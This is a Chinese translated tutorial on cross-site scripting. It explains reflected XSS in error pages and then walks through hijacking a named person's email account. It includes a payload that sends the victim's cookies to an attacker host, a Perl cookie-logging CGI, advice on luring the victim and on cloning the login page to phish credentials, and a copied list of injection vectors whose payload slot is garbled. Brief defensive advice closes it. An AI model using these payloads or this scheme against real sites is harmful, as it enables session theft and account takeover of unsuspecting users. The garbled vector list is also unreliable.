跨站腳本攻擊
發(fā)表時(shí)間:2024-01-27 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]以前看過分析家寫過一篇文章,介紹跨站腳本的安全隱患,當(dāng)時(shí)只是知道有這樣的 問題,也沒有仔細(xì)閱讀,目前此類問題經(jīng)常在一些安全站點(diǎn)發(fā)布,偶剛好看到這樣一篇文章 , 抱著知道總比不知道好的想法,翻譯整理了一下,原文在偶主頁(yè)的collection目錄里,錯(cuò)誤 之處請(qǐng) 多多指點(diǎn)。 OK,go...........
以前看過分析家寫過一篇文章,介紹跨站腳本的安全隱患,當(dāng)時(shí)只是知道有這樣的
問題,也沒有仔細(xì)閱讀,目前此類問題經(jīng)常在一些安全站點(diǎn)發(fā)布,偶剛好看到這樣一篇文章
,
抱著知道總比不知道好的想法,翻譯整理了一下,原文在偶主頁(yè)的collection目錄里,錯(cuò)誤
之處請(qǐng)
多多指點(diǎn)。
OK,go............
什么是跨站腳本(CSS/XSS)?
我們所說跨站腳本是指在遠(yuǎn)程WEB頁(yè)面的html代碼中插入的具有惡意目的的數(shù)據(jù),用戶認(rèn)為該
頁(yè)面是可信賴的,但是當(dāng)瀏覽器下載該頁(yè)面,嵌入其中的腳本將被解釋執(zhí)行,
有時(shí)候跨站腳本被稱為"XSS",這是因?yàn)?CSS"一般被稱為分層樣式表,這很容易讓人困惑,
如果
你聽某人提到CSS或者XSS安全漏洞,通常指得是跨站腳本。
XSS和腳本注射的區(qū)別?
原文里作者是和他一個(gè)朋友(b0iler)討論后,才明白并非任何可利用腳本插入實(shí)現(xiàn)攻擊的
漏洞都被稱為XSS,還有另一種攻擊方式:"Script Injection",他們的區(qū)別在以下兩點(diǎn):
1.(Script Injection)腳本插入攻擊會(huì)把我們插入的腳本保存在被修改的遠(yuǎn)程WEB頁(yè)面里,如
:sql injection,XPath injection.
2.跨站腳本是臨時(shí)的,執(zhí)行后就消失了
什么類型的腳本可以被插入遠(yuǎn)程頁(yè)面?
主流腳本包括以下幾種:
HTML
JavaScript (本文討論)
VBScript
ActiveX
Flash
是什么原因?qū)е乱粋(gè)站點(diǎn)存在XSS的安全漏洞?
許多cgi/php腳本執(zhí)行時(shí),如果它發(fā)現(xiàn)客戶提交的請(qǐng)求頁(yè)面并不存在或其他類型的錯(cuò)誤時(shí),
出錯(cuò)信息會(huì)被打印到一個(gè)html文件,并將該錯(cuò)誤頁(yè)面發(fā)送給訪問者。
例如: 404 - yourfile.html Not Found!
我們一般對(duì)這樣的信息不會(huì)注意,但是現(xiàn)在要研究CSS漏洞的成因,我們還是仔細(xì)看一下。
例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
該URL指向的連接是有效的,但是如果我們把后面的downloads.html替換成brainrawt_owns_
me.html
,一個(gè)包含404 - brainrawt_owns_me.html Not Found! 信息的頁(yè)面將反饋給訪問者的瀏覽
器。
考慮一下它是如何把我們的輸入寫到html文件里的?
OK,現(xiàn)在是我們檢查XSS漏洞的時(shí)候了!
注意:下面僅僅是一個(gè)例子,該頁(yè)面存在XSS漏洞,我們可以插入一寫javascript代碼到頁(yè)面
里。當(dāng)然方法很多
www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</sc
ript>
當(dāng)我們提交這個(gè)URL的時(shí)候,在我們的瀏覽器中彈出一個(gè)消息框,"XSS_Vuln_Testing"?
這個(gè)例子只是一個(gè)XSS漏洞的簡(jiǎn)單演示,并無實(shí)際意義,但足以說明問題所在。
下面我們分析一下造成該運(yùn)行結(jié)果的原因,program.cgi對(duì)我們的輸入沒有經(jīng)過有效過濾處理
,
就直接寫入404 error頁(yè)面中,結(jié)果創(chuàng)建了一個(gè)頁(yè)面,如下:
<html>
<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
</html>
其中的javascript腳本通過瀏覽器解釋執(zhí)行,然后就出現(xiàn)了你所看到的結(jié)果。
如何利用XSS來完成hacking?
如同前面所提到,如果用戶提交的請(qǐng)求不能得到滿足,那么服務(wù)器端腳本會(huì)把輸入信息寫入
一個(gè)
html文件,當(dāng)服務(wù)器端程序?qū)懭雋tml文件的數(shù)據(jù)沒有進(jìn)行有效過濾,惡意腳本就可以插入
到
該html文件里。其他用戶瀏覽該連接的時(shí)候腳本將通過客戶端瀏覽器解釋執(zhí)行。
事例:
假設(shè)你發(fā)現(xiàn)myemailserver.tld有CSS漏洞,你想要獲得其中一個(gè)人的email帳號(hào),比如我們的
目標(biāo)是b00b這個(gè)人。
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
把上面存在CSS漏洞的連接修改一下:
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
這會(huì)創(chuàng)建了一個(gè)錯(cuò)誤頁(yè)面,我們得到如下信息:
Invalid Input! [article=hax0red]
當(dāng)插入下面這樣的javascript代碼時(shí),你的屏幕上會(huì)彈出一個(gè)包含test的消息框。
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<
/script>
<script>并沒有打印到屏幕上,它是隱藏在背后執(zhí)行,由于服務(wù)器端程序并沒有對(duì)
<script>alert('test')</script>進(jìn)行有效過濾,所以在頁(yè)面發(fā)回到瀏覽器并執(zhí)行了該腳本
。
下面我們瞧瞧如何利用該漏洞入侵 b00b同志的郵箱,首先你必須知道b00b的email地址,
并且知道cookies的作用。那么你可以告訴b00b一個(gè)惡意的連接,嘿嘿,當(dāng)然
它的用意就是從b00b機(jī)器中cookie信息里獲得自己想要的東東。
想辦法讓b00b訪問myemailserver.tld站點(diǎn)發(fā)表的文章,比如說:”親愛的b00b,看看這個(gè)美
女
如何呀?”
那么當(dāng)可憐的b00b訪問 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取
并保存cookie的腳本
</script>
連接時(shí),發(fā)生什么事情?cookie都有了,你該知道怎么辦了吧!
如果在你目前不是這樣的情形,你可以拷貝email服務(wù)器的登陸頁(yè)面,掛到其他的系統(tǒng)上,
然后引導(dǎo)用戶登陸你的惡意系統(tǒng)頁(yè)面
這樣用戶信息你可以記錄下來,然后再把記錄的信息發(fā)送回真正的email服務(wù)器頁(yè)面,
那些笨蛋并不會(huì)意識(shí)到實(shí)際發(fā)生的事情。
把javascript腳本插入WEB頁(yè)面的不同方法:
<snip>
拷貝自:GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.
<a href="javascript#<DIV class=articlecode de>">
<div onmouseover="<DIV class=articlecode de>">
<img src="
javascript:<DIV class=articlecode de>">
<img dynsrc="
javascript:<DIV class=articlecode de>"> [IE]
<input type="image" dynsrc="
javascript:<DIV class=articlecode de>"> [IE]
<bgsound src="
javascript:<DIV class=articlecode de>"> [IE]
&<script><DIV class=articlecode de></script>
&{<DIV class=articlecode de>}; [N4]
<img src=&{<DIV class=articlecode de>};> [N4]
<link rel="stylesheet" href="
javascript:<DIV class=articlecode de>">
<iframe src="vbscript:<DIV class=articlecode de>"> [IE]
<img src="mocha:<DIV class=articlecode de>"> [N4]
<img src="livescript:<DIV class=articlecode de>"> [N4]
<a href="about:<script><DIV class=articlecode de></script>">
<meta http-equiv="refresh" content="0;url=
javascript:<DIV class=articlecode de>">
<body onload="<DIV class=articlecode de>">
<div style="background-image: url(
javascript:<DIV class=articlecode de>);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression(<DIV class=articlecode de>);"> [IE]
<style type="text/javascript"><DIV class=articlecode de></style> [N4]
<object classid="clsid:..." codebase="
javascript:<DIV class=articlecode de>"> [IE]
<style><!--</style><script><DIV class=articlecode de>//--></script>
<![CDATA[<!--]]><script><DIV class=articlecode de>//--></script>
<!-- -- --><script><DIV class=articlecode de></script><!-- -- -->
<script><DIV class=articlecode de></script>
<img src="blah"onmouseover="<DIV class=articlecode de>">
<img src="blah>" onmouseover="<DIV class=articlecode de>">
<xml src="
javascript:<DIV class=articlecode de>">
<xml id="X"><a><b><script><DIV class=articlecode de></script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script><DIV class=articlecode de>[\xC0][\xBC]/script> [UTF-8; IE, Opera]
----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>
一個(gè)真正的獲取cookie并且做記錄的例子:
注意:要使它工作,你的瀏覽器必須允許接受http://website.tld站點(diǎn)發(fā)送的cookies,
當(dāng)我測(cè)試下面的信息時(shí),使用
javascript創(chuàng)建訪問者的cookies,javascript腳本放在index.html文件中。
OK,下面假設(shè)http://website.tld存在XSS攻擊的安全隱患,存在漏洞的連接是:
http://website.tld/program.cgi?input=<evil javascript>
我們創(chuàng)建這樣一個(gè)連接:
http://website.tld/program.cgi?input=<script>document.location='http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script>
然后讓保存該站點(diǎn)cookie的用戶訪問這個(gè)連接:
這是我們的CGI腳本,它的作用就是對(duì)用戶cookie做記錄:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html\n\n something went wrong\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
------------------------------------------
該腳本首先通過 $ENV{'QUERY_STRING'}獲得cookie,打印到$borrowed_info變量里,
通過open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo
g文件。
注意:上面的javascript腳本,可能在一些瀏覽器或者站點(diǎn)上不能執(zhí)行,
這僅僅是我在自己的站點(diǎn)上做測(cè)試用的。
如何防范XSS攻擊?
1.在你的WEB瀏覽器上禁用javascript腳本
2..開發(fā)者要仔細(xì)審核代碼,對(duì)提交輸入數(shù)據(jù)進(jìn)行有效檢查,如"<"和">"。
可以把"<",">"轉(zhuǎn)換為<,>
注意:由于XSS漏洞可被利用的多樣性,程序員自己要明白具體需要過濾的字符,
這主要依賴于所開發(fā)程序的作用,建議過濾掉所有元字符,包括"="。
對(duì)受害者來說不要訪問包含<script>字符的連接,一些官方的URL不會(huì)包括任何腳本元素。